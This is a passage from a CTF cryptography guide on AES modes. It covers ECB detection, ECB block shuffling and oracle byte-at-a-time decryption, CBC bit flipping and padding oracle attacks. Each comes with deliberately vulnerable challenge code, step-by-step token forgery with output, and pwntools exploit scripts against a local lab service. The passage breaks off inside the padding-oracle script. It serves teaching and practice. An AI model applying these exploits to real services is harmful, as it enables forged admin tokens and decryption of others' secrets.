        if len(key_columns) % iteration_size == 0:
            # Circular shift.
            word.append(word.pop(0))
            # Map to S-BOX.
            word = [s_box[b] for b in word]
            # XOR with first byte of R-CON, since the others bytes of R-CON are 0.
            word[0] ^= r_con[i]
            i += 1
        elif len(master_key) == 32 and len(key_columns) % iteration_size == 4:
            # Run word through S-box in the fourth iteration when using a
            # 256-bit key.
            word = [s_box[b] for b in word]

        # XOR with equivalent word from previous iteration.
        word = bytes(i^j for i, j in zip(word, key_columns[-iteration_size]))
        key_columns.append(word)

    # Group key words in 4x4 byte matrices.
    return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)]
```


# Mode of Operation

**The mode of operation** refers to **how the AES cipher is used to encrypt or decrypt data that is longer than a single block.**

AES operates on fixed-size blocks of 128 bits, so if the plaintext or ciphertext is longer than 128 bits, a mode of operation is required to break it up into multiple blocks and apply the cipher to each block.

There are several modes of operation that can be used with AES, each with its own strengths and weaknesses.

<mark style="color:red;">**All modes have serious weaknesses when used incorrectly.**</mark>


# ECB

Electronic Codebook Block

In ECB mode, each block of plaintext is encrypted independently using the same key and encryption algorithm, producing a corresponding block of ciphertext.

The encryption process is deterministic, meaning that <mark style="color:red;">**for a given key and plaintext block, the resulting ciphertext block will always be the same**</mark>.

<figure><img src="https://github.com/Hakumarachi/theCTFRecipe/blob/master/.gitbook/assets/Schema_ecb.png" alt=""><figcaption></figcaption></figure>

## How to detect ECB mode ?

If the user can supply a plaintext that is cipher by the application, then by sending a plaintext of 3 times the block size it's possible to see if ECB is used.

{% hint style="info" %}
As explained before, ECB encrypt each block independently. By sending multiple exact same blocks, the result will be exactly the same for each blocks.
{% endhint %}

Why sending 3 blocks instead of 2 ? It's cause possible misalignment.

```
+------+------+------+------+------+
| aaaa | aaaa | .... | .... | .... | plaintext
+------+------+------+------+------+
       |
       v
+------+------+------+------+------+
| xxxx | xxxx | .... | .... | .... | ciphertext
+------+------+------+------+------+       
```

but if the data is concat with non arbitrary values we can have :

```
+------+------+------+------+------+
| ..aa | aaaa | aa.. | .... | .... | plaintext
+------+------+------+------+------+
          |
          V
+------+------+------+------+------+
| xyza | xxxx | hdxz | .... | .... | ciphertext
+------+------+------+------+------+ 
```

All block are differents. The workaround is to submit a 3 times block size input.

```
       always aligned
+------+------+------+------+------+
| ..aa | aaaa | aaaa | aa.. | .... | plaintext
+------+------+------+------+------+
              |
              V
+------+------+------+------+------+
| xyza | xxxx | xxxx | hdxz  | .... | ciphertext
+------+------+------+------+------+ 
          Duplicated blocks
```


# Block shuffling

Because ECB mode encrypts identical plaintext blocks to identical ciphertext blocks, the attacker can replace a ciphertext block with a known ciphertext block of their choice and the resulting plaintext block will be substituted with their desired block as well.

To carry out this attack, the attacker needs to have the ability to observe or manipulate ciphertext blocks in the communication channel.

## Exploitation

Let's take the following code :

```python
data = {"username": input(), "admin": 0}
data = json.dumps(data)
ciphertext = cipher.encrypt(data)
```

The user can forge arbitrary block into the username parameter :

{% hint style="info" %}
There is 13 bytes before the user input ( `{"username":"` ) , so 3 bytes are needed to complete the first block, and the 16 following bytes will be the arbitrary forged block.

To proof that, the user can send 2 exact same blocks that will result into 2 exact same cipher blocks.
{% endhint %}

{% code overflow="wrap" %}

```bash
$ python3 -c 'print("A"*3 + "A"*16*2)' | python3 example.py
0f0db6ff7eb32259e2ab26faad5bea05eb159765773a70532da4789b0305a592eb159765773a70532da4789b0305a59248adcfe72ea9a410137725b6d19fccbe
###
>>> result[:32]
'0f0db6ff7eb32259e2ab26faad5bea05' #First block containing {"username":"AAA
>>> result[32:64]
'eb159765773a70532da4789b0305a592' #Second block containing 16*'A'
>>> result[64:96]
'eb159765773a70532da4789b0305a592' #Third block containing 16*'A'
>>> result[32:64] == result[64:96]
True                               #Second block and third block are the same
```

{% endcode %}


# Challenge example

Arbitrary token

## Code source example

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import json

FLAG = ?
KEY = ?

def admin():
    print("welcome admin")
    print(f"Flag = {FLAG}")


def guest():
    print("welcome guest")


def auth():
    user = dict()
    user["username"] = input("username : ")
    user["password"] = input("password : ")
    user["uid"] = int(user["username"] == "admin" and user["password"] == FLAG)
    
    plaintext = json.dumps(user).encode()
    padded = pad(plaintext, 16)
    cipher = AES.new(KEY, AES.MODE_ECB)
    try:
        encrypted = cipher.encrypt(padded)
    except ValueError as e:
        return {"error": str(e)}

    print(f"Here is your token : {encrypted.hex()}")

    return user


def authToken():
    token = input("Token : ")
    token = bytes.fromhex(token)

    cipher = AES.new(KEY, AES.MODE_ECB)
    try:
        plaintext = cipher.decrypt(token)
        unpadded = unpad(plaintext, 16)
        user = json.loads(unpadded)
    except ValueError as e:
        return {"error": str(e)}

    return user


print("Welcome !")
print("Please login first.")

choice = input("How would you login ?\n1) Token\n2) Credentials\n\nChoice :")

if choice == "1":
    user = authToken()
elif choice == "2":
    user = auth()
else:
    print("error... goodbye")
    exit(0)

if "error" in user:
    print(f"ERROR : {user['error']}")
    exit(0)

elif user["uid"] == 1:
    admin()
else:
    guest()
```

The challenge objectif is to log as admin user.

## Exploitation

When the user authenticates using their credentials, the application will send a token that can be reuse to directly access the app.

The token contain :

* `username` : provided by the user
* `password` : provided by the user
* `uid` : set by the application depending if the provided credentials are admin or not.

Can the user forge an arbitrary block ?

{% code overflow="wrap" %}

```bash
$ python3 -c 'print("2\n" + "A"*2 + "A"*16*2 + "\na\n")' | python3 chall.py
# Sending choice 2 to authenticate using credentials
# Sending as username : 2 bytes to complete the first block + 16 bytes * 2 to check if the block are correctly forged ( second and third block may be the same ) 
# Sending anything (a) as password... this pars isn't needed to exploit. 

Welcome !
Please login first.
How would you login ?
1) Token
2) Credentials

Choice :username : password : Here is your token : 0f0db6ff7eb32259e2ab26faad5bea05eb159765773a70532da4789b0305a592eb159765773a70532da4789b0305a59265c235f39040a271d8e612fcb3cf0e3863e9de070bb91f9a2714f8b733371020
welcome guest

# Checking Token : 
>>> result[32:64]
'eb159765773a70532da4789b0305a592'
>>> result[64:96]
'eb159765773a70532da4789b0305a592'
```

{% endcode %}

The user can effectively forge arbitrary blocks.

In order to obtain admin access the user need to replace the block containing `'uid': 0`

Here we will manipulate the input to have this at the end of the penultimate block :

```
+------------------+------------------+------------------+--------------+
| {'username': "AA | ", 'password': ' | AAAAAA', 'uid':  | 0} + padding |
+------------------+------------------+------------------+--------------+
```

{% code overflow="wrap" %}

```bash
$ python3 -c 'print("2\n" + "A"*2 + "\n" + "A"*6 + "\n")' | python3 chall.py
Welcome !
Please login first.
How would you login ?
1) Token
2) Credentials

Choice :username : password : Here is your token : 0f0db6ff7eb32259e2ab26faad5bea05c5f31a2e59a38743077acd22e4512d69eb6c532e83118ae9a89f176933e2cd0f7e8c582ca3535bc548f256f69832be4f
welcome guest
```

{% endcode %}

We now need to forge the block `1`

{% code overflow="wrap" %}

```bash
$ python3 -c 'print("2\n" + "A"*2 + " "*15 + "1" +  "\n" + "A"*6 + "\n")' | python3 chall.py
Welcome !
Please login first.
How would you login ?
1) Token
2) Credentials

Choice :username : password : Here is your token : 0f0db6ff7eb32259e2ab26faad5bea050ebd6b5fd3363bc885c982fd44c1e7f3c5f31a2e59a38743077acd22e4512d69eb6c532e83118ae9a89f176933e2cd0f7e8c582ca3535bc548f256f69832be4f
welcome guest
```

{% endcode %}

We need a last block :

{% code overflow="wrap" %}

```bash
# } + padding
$ python3 -c 'print("2\n" + "A"*2 + "\n" + "A"*5 + "\n")' | python3 chall.py
Welcome !
Please login first.
How would you login ?
1) Token
2) Credentials

Choice :username : password : Here is your token : 0f0db6ff7eb32259e2ab26faad5bea05c5f31a2e59a38743077acd22e4512d6907687b0f26a0485b8e70f508c3c2902b6e1373a93bd585792817170366e57f43
welcome guest
```

{% endcode %}

Now to obtain the admin access we need to replace the last block of the first token (containing `0} + padding`) by the second block of the second token ( containing `1`) and concat the last block of the last token ( containing `} + padding` )

{% hint style="info" %}
At this moment the json value will be :

{% code overflow="wrap" %}

```
{"username": "AA", "password": "AAAAAA", "uid":                1}
```

{% endcode %}
{% endhint %}

{% code overflow="wrap" %}

```python
$ python3
>>> token1 = "0f0db6ff7eb32259e2ab26faad5bea05c5f31a2e59a38743077acd22e4512d69eb6c532e83118ae9a89f176933e2cd0f7e8c582ca3535bc548f256f69832be4f"
>>> token2 = "0f0db6ff7eb32259e2ab26faad5bea050ebd6b5fd3363bc885c982fd44c1e7f3c5f31a2e59a38743077acd22e4512d69eb6c532e83118ae9a89f176933e2cd0f7e8c582ca3535bc548f256f69832be4f"
>>> token3 = "0f0db6ff7eb32259e2ab26faad5bea05c5f31a2e59a38743077acd22e4512d6907687b0f26a0485b8e70f508c3c2902b6e1373a93bd585792817170366e57f43"
>>> forged = token1[:-32] + token2[32:64] + token3[-32:]
>>> forged
'0f0db6ff7eb32259e2ab26faad5bea05c5f31a2e59a38743077acd22e4512d69eb6c532e83118ae9a89f176933e2cd0f0ebd6b5fd3363bc885c982fd44c1e7f36e1373a93bd585792817170366e57f43'
```

{% endcode %}

And when we use it :

{% code overflow="wrap" %}

```bash
$ python3 chall.py
Welcome !
Please login first.
How would you login ?
1) Token
2) Credentials

Choice :1
Token : 0f0db6ff7eb32259e2ab26faad5bea05c5f31a2e59a38743077acd22e4512d69eb6c532e83118ae9a89f176933e2cd0f0ebd6b5fd3363bc885c982fd44c1e7f36e1373a93bd585792817170366e57f43
welcome admin
Flag = FLAG{ECBForgingBlock}
```

{% endcode %}

## Exploitation Script

```python
from pwn import *
import string

context.log_level = 'error'

def getToken(username, password):

    p = remote("127.0.0.1", 1337)
    p.recvuntil(b":")
    p.sendline(b"2")
    p.recvuntil(b": ")
    p.sendline(username.encode())
    p.recvuntil(b": ")
    p.sendline(password.encode())
    p.recvuntil(b": ")
    token = p.recvline()[:-1].decode()

    p.close()
    return token


def authToken(token):
    p = remote("127.0.0.1", 1337)
    p.recvuntil(b":")
    p.sendline(b"1")
    p.recvuntil(b": ")
    p.sendline(token.encode())

    print(p.clean().decode())

    p.close()

padding = 0
token = getToken("A" * 16 * 2,"")

# Getting padding size to end the first block and then write an arbitrary block
while token[32:64] != token[64:96]:
    padding += 1
    token = getToken("A"* padding + "A" * 16 * 2, "")

print(f"padding is size {padding}")

token1 = getToken("A"* padding, "A" * 6)
token2 = getToken("A"* padding + " "*15 + "1", "")
token3 = getToken("A"* padding, "A" * 5)

forged = token1[:-32] + token2[32:64] + token3[-32:]

authToken(forged)
```

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/crypto/) :

```
docker pull thectfrecipes/crypto:ECBForgingBlock
```

Deploy the image using the followed command :

```
docker run --name thectfrecipes_crypto_ECBForgingBlock -it --rm -d -p 1337:1337 thectfrecipes/crypto:ECBForgingBlock
```

The service is available on port 1337

```
nc 127.0.0.1 1337
```


# ECB Oracle

An oracle is a type of tool or service that can provide information about a cryptographic algorithm, often with the goal of breaking it.

Most of the time, an attacker might use a chosen plaintext attack to submit carefully-crafted plaintexts to the encryption function and observe the resulting ciphertexts in order to build a dictionary of plaintext/ciphertext pairs that can be used to decrypt other blocks.

Some elements are required to exploit an oracle :

* Ability to submit plaintext messages
* Ability to observe ciphertexts
* Ability to repeat these actions

## Exploitation

As explained [here](/cryptography/symmetric-cryptography/aes/mode-of-operation/ecb), AES using ECB mode will always produce the same ciphertext for the exact same plaintext input.

So the attacker can list every single possibility for each block and then break the cipher.

{% hint style="danger" %}
As AES cipher block of size 16 bytes. there is 340282366920938463463374607431768211456 ( $$256^{16}$$) possibilities.
{% endhint %}

What if the attacker can inject some data directly into the targeted cipher message such as :

```python
data = user_input + secret
ciphertext = cipher.encrypt(data)
```

The user can inject as many byte as he want.

Furthermore, AES will always encrypt blocks of size 16. If the input block is shorter than 16 bytes, then it will be padded, typically using [PKCS#7](/cryptography/general-knowledge/padding/pkcs-7).

### Retrieve the last block

By injecting enough data, the last block can be known :

```python
b'\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
```

{% hint style="info" %}
This block correspond to the padding when the cipher data match match exactly with the block size ( $$plaintext \mod 16 = 0$$)
{% endhint %}

The attacker can inject this block as plaintext input + enough padding to make the plaintext match the block size and then compare his injected block and the last one.

```python
i = 16
cipher_size = len(encrypt(b'\x10' * i))
cur_size = cipher_size
while cipher_size == cur_size:
    i += 1
    data = encrypt(b'\x10' * i)
    cur_size = len(data)
    if cur_size > cipher_size :
        print("injected block :", data[0:32])
        print("last block     :", data[-32::])
        assert(data[0:32] == data[-32::])
```

Using this behavior, if the user add 1 byte to the input, the last block will be :

```python
b'X\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
```

{% hint style="info" %}
`X` is here the last char of the unknown part of the ciphered data : "`secret`"

As it is the only unknown char of the block, there is only 256 possibilities.
{% endhint %}

```python
i = 16
cipher_size = len(encrypt(b'\x10' * i))
cur_size = cipher_size
while cipher_size == cur_size:
    i += 1
    data = encrypt(b'\x10' * i)
    cur_size = len(data)
    if cur_size > cipher_size :
        print("injected block :", data[0:32])
        print("last block     :", data[-32::])
        assert(data[0:32] == data[-32::])
        for c in range(256):
            data = encrypt(c.to_bytes(1,'big') + b'\x0f' * i)
            if data[0:32] == data[-32::]:
                print("Last secret char is : ", c.to_bytes(1,'big'))
                break
```

{% hint style="info" %}
Then the user can go on. If he add again one byte to the input he will have :

<pre class="language-python"><code class="lang-python"><strong>b'YX\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
</strong></code></pre>

Where `X` is the previously retrieve char.

He can continue until he retrieve the enire block.
{% endhint %}

### Retrieve the first block

Just has the last block, the user can manipulate him input in order to know exactly what there is as second block :

```python
i = 16
cipher_size = len(encrypt(b'\x10' * i * 2))
    print("first block :", data[0:32])
    print("second block     :", data[32:64])
    assert(data[0:32] == data[32:64])
```

{% hint style="info" %}
Here, the user has injected two block with the exact same value. If he inject just 1 less byte he will have :

```python
b'\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10X'
```

as second block, where `X` is the first char of the `secret` value.

The method here is the same as for retrieve the last block.

The only difference is instead of adding byte and brute-forcing the first char of the last block, the user will remove one char from him input and brute-force the last char of the second block.
{% endhint %}

```python
for c in range(256):
    data = encrypt(b'\x10' * 15 + c.to_bytes(1,'big') + b'\x10' * 15)
    if data[0:32] == data[32:64]:
        print("First secret char is : ", c.to_bytes(1,'big'))
        break
```

### What for secret longer than 2 block ?

Once the first or the last block is fully decrypted, it's possible to start again with the direct next block such as sending enough data to obtain the following block :

```
b'ECRETDATABLOCK1X'
```

Where `SECRETDATABLOCK1` is the first decrypted block so `ECRETDATABLOCK1` are the last 15 bytes of the first block and `X` is the first byte of the next block.

To obtain this block the user may send 16 bytes ( block used to bruteforce the targeted byte ) + 15 bytes to have :

```
Injection block    Padding         Targeted block  Rest...
+----------------+----------------+---------------+----------------+
|ECRETDATABLOCK1X|VVVVVVVVVVVVVVVS|ECRETDATABLOCKX|................|
+----------------+----------------+---------------+----------------+
```

{% hint style="success" %}
Then, when the second block is obtain, it's possible to continue till the obtention of the entire secret value.
{% endhint %}


# Challenge example

## Code source example

{% code lineNumbers="true" %}

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os


KEY = os.urandom(16)
FLAG = "FLAG{FakeFLAG}"

def encrypt(plaintext):
    padded = pad(plaintext + FLAG.encode(), 16)
    cipher = AES.new(KEY, AES.MODE_ECB)
    try:
        encrypted = cipher.encrypt(padded)
    except ValueError as e:
        return {"error": str(e)}

    return {"ciphertext": encrypted.hex()}


data = input("Data to encrypt : ")
data = bytes.fromhex(data)

cipher = encrypt(data)
print(cipher)
```

{% endcode %}

The objective of this challenge is to retrieve the FLAG which is encrypted with the user input.

The challenge is served using `socat` so the user can only send data and receive the ciphertext.

## Exploitation

Here an oracle is possible as the user can inject and manipulate arbitrary data into the targeted ciphertext as he want and he have the ciphertext output.

By sending 32 bytes, the user can prooved that ECB mode is used :

```python
from pwn import *
import json

p = remote("127.0.0.1", 1337)
p.recvuntil(b": ")

p.sendline((b"A"*32).hex().encode())

ciphertext = json.loads(p.recvline())['ciphertext']

assert(ciphertext[0:32] == ciphertext[32:64])
print("remote service use ECB mode")
```

output :

```
$ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 1337: Done
remote service use ECB mode
[*] Closed connection to 127.0.0.1 port 1337
```

As ECB is used, it's possible to bruteforce the FLAG :

```python
from pwn import *
import json
from rich.console import Console
import string

printable = [ord(c) for c in string.printable]

console = Console()
context.log_level = 'error'

def encrypt(payload):
    p = remote("127.0.0.1", 1337)
    p.recvuntil(b": ")

    p.sendline(payload.hex().encode())

    data = json.loads(p.recvline())['ciphertext']

    p.close()
    return data


flag = b""
with console.status(f"FLAG = {flag}, Trying byte : ") as a:
    while len(flag) == 0 or flag[-1] != 125:
        for c in printable:
            # set char to test
            c = c.to_bytes(1,'big')
            # update the console status
            a.update(f"FLAG = {flag}, Trying byte : {c}")
            # Set the payload
            if len(flag) > 16:
                payload = flag[-15:] + c + b'\x10' * (15 - (len(flag) % 16))
            else:
                payload = b'\x10' * (15 - len(flag)) + flag + c + b'\x10' * (15 - len(flag))
            cipher = encrypt(payload)
            
            # Check if the first block and the targeted block are the same
            if cipher[0:32] == cipher[32 + (32 * (len(flag) // 16)) : 64 + (32 * (len(flag) // 16 ))]:
                # If it is, then the letter is found
                flag += c
                break

print("FLAG = ", flag)
```

{% hint style="info" %}
Note: not all bytes are tester, only printable characters are tested as the flag must be human readable.
{% endhint %}


# CBC

Cipher Block Chaining

When AES is used in **CBC mode**, each block of **plaintext is first XORed with the previous block of ciphertext** (or the IV, in the case of the first block). This XOR operation ensures that even **if two plaintext blocks are identical, the corresponding ciphertext blocks will be different**. The result of the XOR operation is then encrypted using AES with the shared secret key.

Decryption works in the opposite order. Each block of ciphertext is first decrypted using AES with the shared secret key, producing the corresponding block of plaintext. This block is then XORed with the previous block of ciphertext (or the IV, in the case of the first block), producing the original plaintext.

<figure><img src="https://github.com/Hakumarachi/theCTFRecipe/blob/master/.gitbook/assets/Schema_cbc.png" alt=""><figcaption><p>CBC mode encryption</p></figcaption></figure>


# Bit flipping

A Bit Flipping Attack is a type of attack where an attacker modifies the ciphertext in such a way that it results in a specific change in the decrypted plaintext. In the case of AES CBC, the attacker can modify specific bits in the ciphertext to flip the corresponding bits in the decrypted plaintext.

## How it works ?

In AES CBC, **each block of plaintext is XORed with the previous block of ciphertext** before being encrypted.

This means that **if an attacker modifies a bit in the ciphertext of one block**, it will result in the corresponding <mark style="color:red;">**bit in**</mark> <mark style="color:red;">t</mark><mark style="color:red;">**he decrypted plaintext of the next block being flipped**</mark>. This is because the modified ciphertext block will be XORed with the next block of plaintext during decryption, resulting in the bit flip.

In order to determine the value to puts as ciphertext to flip to an arbitrary value the following operation can be done :

```python
xor(ciphertext_block, original_data, arbitrary_value)
```


# Challenge example

## Source code example

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import json
import os

FLAG = ?
KEY = ?

def admin():
    print("welcome admin")
    print(f"Flag = {FLAG}")


def guest():
    print("welcome guest")


def auth():
    user = dict()
    username = input("username : ")
    password = input("password : ")
    user["is_admin"] = int(username == "admin" and password == FLAG)
    
    plaintext = json.dumps(user).encode()
    padded = pad(plaintext, 16)
    iv = os.urandom(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    try:
        encrypted = iv + cipher.encrypt(padded)
    except ValueError as e:
        return {"error": str(e)}

    print(f"Here is your token : {encrypted.hex()}")

    return user


def authToken():
    token = input("Token : ")
    token = bytes.fromhex(token)
    iv = token[:16]
    token = token[16:]

    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    try:
        plaintext = cipher.decrypt(token)
        unpadded = unpad(plaintext, 16)
        user = json.loads(unpadded)
    except ValueError as e:
        return {"error": str(e)}

    return user


print("Welcome !")
print("Please login first.")

choice = input("How would you login ?\n1) Token\n2) Credentials\n\nChoice :")

if choice == "1":
    user = authToken()
elif choice == "2":
    user = auth()
else:
    print("error... goodbye")
    exit(0)

if "error" in user:
    print(f"ERROR : {user['error']}")
    exit(0)

elif user["is_admin"] == 1:
    admin()
else:
    guest()
```

The challenge objective is to authenticate as admin using an arbitrary token forged using bit flipping attack.

## Exploitation

First, a legit token is needed.

```bash
$ python3 chall.py
Welcome !
Please login first.
How would you login ?
1) Token
2) Credentials

Choice :2
username : a
password : a
Here is your token : 9cdc43fb9d2fed9a0b5ccc837d4a5badf1b4b1731bcca9977bc862f3e2033970
welcome guest
```

The token contains two blocks, the IV and the ciphertext block.

As explain [here](/cryptography/symmetric-cryptography/aes/mode-of-operation/cbc), plaintext is xored with the precedent cipherblock ( the IV for the first block ) before encryption. As we can control the ciphertext, we can control the plaintext.

The original plaintext is :

```python
b'{"is_admin": 0}\x01'
```

{% hint style="info" %}
The json data + [padding](/cryptography/general-knowledge/padding/pkcs-7)
{% endhint %}

The targeted data is :

```python
b'{"is_admin": 1}\x01'
```

The IV can be replace with the value `9cdc43fb9d2fed9a0b5ccc837d4b5bad` obtaned using the following operation :

```python
xor(iv, b'{"is_admin": 0}\x01', b'{"is_admin": 1}\x01')
```

And then using the new token, the admin access is granted :

```
$ python3 chall.py
Welcome !
Please login first.
How would you login ?
1) Token
2) Credentials

Choice :1
Token : 9cdc43fb9d2fed9a0b5ccc837d4b5badf1b4b1731bcca9977bc862f3e2033970
welcome admin
Flag = FLAG{CBCBitFlipping}
```

## Exploitation Script

```python
from pwn import *
import string

context.log_level = 'error'

def getToken(username, password):

    p = remote("127.0.0.1", 1337)
    p.recvuntil(b":")
    p.sendline(b"2")
    p.recvuntil(b": ")
    p.sendline(username.encode())
    p.recvuntil(b": ")
    p.sendline(password.encode())
    p.recvuntil(b": ")
    token = p.recvline()[:-1].decode()

    p.close()
    return token


def authToken(token):
    p = remote("127.0.0.1", 1337)
    p.recvuntil(b":")
    p.sendline(b"1")
    p.recvuntil(b": ")
    p.sendline(token.encode())

    print(p.clean().decode())

    p.close()

padding = 0
token = bytes.fromhex(getToken("",""))

iv = token[:16]
blocks = token[16:]

original = b'{"is_admin": 0}\x01'
target = b'{"is_admin": 1}\x01'

iv = xor(iv, original, target)

token = (iv + blocks).hex()

authToken(token)
```

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/crypto/) :

```
docker pull thectfrecipes/crypto:CBCBitFlipping
```

Deploy the image using the followed command :

```
docker run --name thectfrecipes_crypto_CBCBitFlipping -it --rm -d -p 1337:1337 thectfrecipes/crypto:CBCBitFlipping
```

The service is available on port 1337

```
nc 127.0.0.1 1337
```


# Padding oracle

Padding Oracle Attack is a type of side-channel attack where an attacker can exploit the error messages generated by a system that has padding validation to recover the plaintext of an encrypted message.

## How Padding Oracle Attack works in AES CBC mode?

In AES CBC mode, the plaintext is divided into blocks and XORed with the previous ciphertext block before encryption. Padding is added to the last block to make it the same size as the block size.

To recover the plaintext of the block `n` the following operation is done :

```
plaintext_n = uncrypt(ciphertext_n) ⊕ ciphertext_n-1
```

### From cipher to xor

Taking an example with a ciphertext composed by 2 blocks, the 2 plaintext blocks are noted `P1` and `P2` and the ciphertext are `C1` and `C2`. Then we have :

```
+----+----+                +----+----+
| P1 | P2 | -- encrypt --> | C1 | C2 | 
+----+----+                +----+----+
```

What happens if the user replace the block `C1` by an arbitrary one noted `X` ?

```
+---+----+                +-----+-----+
| X | C2 | -- encrypt --> | P'1 | P'2 | 
+---+----+                +-----+-----+
```

We can write the plaintext as the following equation :

```
P'2 = uncrypt(C2) ⊕ X

C2 = encrypt(P2 ⊕ C1)

P'2 = uncrypt(encrypt(P2 ⊕ C4)) ⊕ X
# As encrypt is the inverse of uncrypt, uncrypt(encrypt(1)) = 1
P'2 = P2 ⊕ C1 ⊕ X
P2 = P'2 ⊕ C1 ⊕ X
```

And here we have an equation with two known elements and two unknown :

**Known** :

* `X` : The arbitrary "cipher" block
* `C1` : The first cipher block

**Unknown**

* `P2` : The last plaintext block, the target
* `P'2` : The new plaintext block formed by the equation noted before.

{% hint style="success" %}
Here the equation do not contains cryptographic elements anymore, just xoring operation remains.
{% endhint %}

### Oracle

The padding is validated by the system after decryption. If the padding is incorrect, the system generates an error message indicating that the padding is invalid. This error message can then be used by an attacker to recover the plaintext of the encrypted message.

{% hint style="info" %}
The attacker sends a modified ciphertext to the system and observes the error message generated by the system.

The attacker can then use this error message to determine the padding of the ciphertext and then modify the ciphertext accordingly. This process is repeated until the entire plaintext is recovered.
{% endhint %}

Remember that [XOR ](/cryptography/misc/xor)operation is done byte by byte. It means that an attacker can control exactly which bit is modified within the plaintext.

```
P2[0] = P'2[0] ⊕ C1[0] ⊕ X[0]
P2[1] = P'2[1] ⊕ C1[1] ⊕ X[1]
...
P2[14] = P'2[14] ⊕ C1[14] ⊕ X[14]
P2[15] = P'2[15] ⊕ C1[15] ⊕ X[15]
```

As padding would be valid, it's mean that the plaintext ending by `0x01` or `0x02 0x02` etc. As `X` is controled we can bruteforce the last byte untill the decryption operation return a valid plaintext instead of a padding error message.

At this moment its mean that `P'2` end by a valid padding ( `0x01` ) so for the equation ...

```
P2[15] = P'2[15] ⊕ C1[15] ⊕ X[15]
```

... only `P2[15]` remain unknown, so it can be calculated using the 3 others elements.

{% hint style="warning" %}
This page don't take care about false positive. Indeed, there is a (low) chance that the plaintext ends with padding, but these cases are rare.
{% endhint %}

To retrieve the previous byte ( `P2[14]`) there is just need to choose `X[15]` in order to have `P'2[15] = 0x2` and bruteforce the `X[14]` value untill the padding is valid. When there is no padding error message, then `X[14]` provide a valid padding, that mean `P'2[14] = 0x2` et so the equality can be solve

```
P2[14] = P'2[14] ⊕ C1[14] ⊕ X[14]
```

This reasoning is to be done in a loop until all the values ​​of the plaintext of the block are found.

{% hint style="warning" %}
However, a problem arises when trying to find block `P1`.

Indeed, we relied on the knowledge of the encrypted block that preceded the block being decrypted. However, for the first block, the IV used must be known. In this case, there are no miracles:

* Either you know the IV, in which case the same reasoning applies,
* Or you try to guess it using common combinations, such as a null IV or a sequence of consecutive bytes.

If you cannot find it, then you will have to settle for decrypting blocks 2 to N.
{% endhint %}

## Mitigating Padding Oracle Attacks

Padding Oracle Attacks can be mitigated by implementing proper error handling in the system. The system should not generate error messages that reveal information about the padding. Additionally, using authenticated encryption modes like AES-GCM (Galois/Counter Mode) can provide better security than CBC mode.

## Resources

{% embed url="<https://book.hacktricks.xyz/crypto-and-stego/padding-oracle-priv>" %}

{% embed url="<https://beta.hackndo.com/padding-oracle/>" %}


# Challenge example

## Source code

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import json
import os

FLAG = ?
KEY = ?

def encryptFlag():
    data = {"flag": FLAG}

    plaintext = json.dumps(data).encode()
    padded = pad(plaintext, 16)
    iv = os.urandom(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    try:
        encrypted = iv + cipher.encrypt(padded)
        print(f"Here is your token : {encrypted.hex()}")
    except ValueError as e:
        print({"error": str(e)})
        return

def checkToken():
    token = input("Token : ")
    token = bytes.fromhex(token)
    iv = token[:16]
    token = token[16:]

    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    try:
        plaintext = cipher.decrypt(token)
        unpadded = unpad(plaintext, 16)
        data = json.loads(unpadded)
    except ValueError as e:
        print({"error": str(e)})
        return

    if data["flag"] == FLAG:
        print("Token is valid")


print("Welcome !")
encryptFlag()
checkToken()
```

The objective is to break the ciphertext to retrieve the flag value.

## Exploitation

### Vulnerability detection

In order to exploit the padding oracle attack, there are 2 things that need to be checked:

* We can send as many time as we want a ciphertext to decrypt.

{% code overflow="wrap" %}

```bash
$ nc 127.0.0.1 1337
Welcome !
Here is your token : 218b43506e242a8be58b281d147a75f2709c2695687e6c42791677a4cc9e3a391873aeb156a1f1f3bbc0b9d1ab21d509687606b976351f4998d4210c0e875930
Token : 218b43506e242a8be58b281d147a75f2709c2695687e6c42791677a4cc9e3a391873aeb156a1f1f3bbc0b9d1ab21d509687606b976351f4998d4210c0e875930
Token is valid

$ nc 127.0.0.1 1337
Welcome !
Here is your token : c5bf8a9b3e59cd2d80e06a99bc36cbdefea51ee96ae74ac53ecc2e54da7a229e60b7cceacc4d8b96b490f68aa3a800975679289a314ea455c58516947899f216
Token : 218b43506e242a8be58b281d147a75f2709c2695687e6c42791677a4cc9e3a391873aeb156a1f1f3bbc0b9d1ab21d509687606b976351f4998d4210c0e875930
Token is valid
```

{% endcode %}

* The application returns an error in case of padding error.

{% code overflow="wrap" %}

```bash
$ nc 127.0.0.1 1337
Welcome !
Here is your token : e7f357f5b63a730c095a9f7d3ff834e3786deed41d4b16983591ace7c4698ce205cfe4ab168ea4c6abdc58f3cae7bf425ab76dc95c03747f66dfd86edc955ae1
Token : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
{'error': 'Padding is incorrect.'}
```

{% endcode %}

### POC

As explained [here](/cryptography/symmetric-cryptography/aes/mode-of-operation/cbc/padding-oracle), in order to retrieve the last character of the last block, we need to brute force the last character of the penultimate block until the application returns a valid padding.

Then the real plaintext byte will be `bruteforce_result ⊕ original_block_byte ⊕ 0x01`

{% code overflow="wrap" %}

```python
from pwn import *
from rich.console import Console

console = Console()
context.log_level = 'error'

def checkToken(token):
    p = remote("127.0.0.1", 1337)
    p.recvuntil(b"Token :")
    p.sendline(token.encode())

    resp = p.clean()

    p.close()
    return resp

